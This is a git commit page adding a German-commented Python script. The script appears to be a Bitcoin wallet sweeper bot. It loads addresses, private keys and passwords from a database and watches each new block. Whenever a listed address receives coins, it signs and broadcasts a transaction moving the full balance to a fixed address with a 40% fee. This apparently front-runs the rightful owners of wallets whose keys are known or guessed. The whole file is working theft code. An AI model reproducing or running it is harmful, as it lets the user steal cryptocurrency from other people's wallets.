initial commit
This commit is contained in:
commit
45828e675f
1 changed files with 104 additions and 0 deletions
104
main.py
Normal file
104
main.py
Normal file
|
|
@ -0,0 +1,104 @@
|
|||
#!pip install bitcoin
|
||||
!pip install cryptos
|
||||
from cryptos import *
|
||||
#from bitcoin import *
|
||||
|
||||
import requests, json, sqlite3, time
|
||||
|
||||
c = Bitcoin(testnet=False)
|
||||
|
||||
#########################################################################
|
||||
# Alle Wallets aus der DB Laden und in ein set umwandeln
|
||||
#########################################################################
|
||||
|
||||
conn = sqlite3.connect('datenbank.db')
|
||||
cursor = conn.cursor()
|
||||
select_query = "SELECT id, pw, priv, pub, addr FROM buche"
|
||||
cursor.execute(select_query)
|
||||
results = cursor.fetchall()
|
||||
conn.commit()
|
||||
conn.close()
|
||||
print(len(results))
|
||||
|
||||
seta = set()
|
||||
for i in results:
|
||||
seta.add(i[4])
|
||||
print(len(seta))
|
||||
|
||||
|
||||
#########################################################################
|
||||
# Transaktion erstellen
|
||||
#########################################################################
|
||||
|
||||
def maketx(wallet, fee=0):
|
||||
|
||||
inputs = json.loads(requests.get("http://192.168.178.225:5001/api/guthaben/" + wallet["addr"]).text)
|
||||
|
||||
inputs = inputs["utxos"]
|
||||
value = 0
|
||||
for i in inputs:
|
||||
value += i["value"]
|
||||
i["address"]=wallet["addr"]
|
||||
|
||||
fee = int(value * 0.4)
|
||||
|
||||
outs = [{'value': value-fee, 'address': "1KHzkdXjQiUEiME1w7UKfdTmZGSeVVBGEJ"}]
|
||||
# outs = [{'value': value-225, 'address': "19yXEybUuNgKAreD23mCseKJ3iL8PhQazf"}]
|
||||
print(inputs)
|
||||
|
||||
tx = c.mktx(inputs,outs)
|
||||
tx2 = c.signall(tx, wallet["priv"])
|
||||
tx3 = serialize(tx2)
|
||||
|
||||
response = requests.post(
|
||||
"http://192.168.178.225:5001/api/sendtx",
|
||||
json={"hex": tx3}
|
||||
)
|
||||
|
||||
print(response.json())
|
||||
|
||||
#########################################################################
|
||||
# Wallet Daten laden
|
||||
#########################################################################
|
||||
|
||||
def getwallet(addr):
|
||||
conn = sqlite3.connect('datenbank.db')
|
||||
cursor = conn.cursor()
|
||||
sql = "SELECT * FROM buche WHERE addr = ?;"
|
||||
cursor.execute(sql, (addr,))
|
||||
|
||||
# 4. Alle Ergebnisse abrufen
|
||||
ergebnisse = cursor.fetchall()
|
||||
conn.close()
|
||||
wallet = {"pw":ergebnisse[0][1],"priv":ergebnisse[0][2],"pub":ergebnisse[0][3],"addr":ergebnisse[0][4]}
|
||||
return wallet
|
||||
|
||||
#########################################################################
|
||||
# Neue Blocks auf Transaktionen prüfen
|
||||
#########################################################################
|
||||
|
||||
last_block = 0
|
||||
while True:
|
||||
current_block = json.loads(requests.get("http://192.168.178.225:5001/api/blockhoehe").text)["blockhoehe"]
|
||||
if not last_block == current_block:
|
||||
setb = set()
|
||||
last_block = current_block
|
||||
print(f"neuer Block {str(current_block)}")
|
||||
block = json.loads(requests.get("http://192.168.178.225:5001/api/block/" + str(current_block)).text)
|
||||
|
||||
for tx in block["block"]["tx"]:
|
||||
for out in tx["vout"]:
|
||||
try:
|
||||
setb.add(out["scriptPubKey"]["address"])
|
||||
except:
|
||||
pass
|
||||
setc = seta & setb
|
||||
|
||||
if len(setc)>0:
|
||||
for w in setc:
|
||||
print(w)
|
||||
if not w == "1EGk65oe8au7VUkvf3qapFKvE9LJzMW6go":
|
||||
maketx(getwallet(w))
|
||||
else:
|
||||
pass
|
||||
time.sleep(0.5)
|
||||
Loading…
Reference in a new issue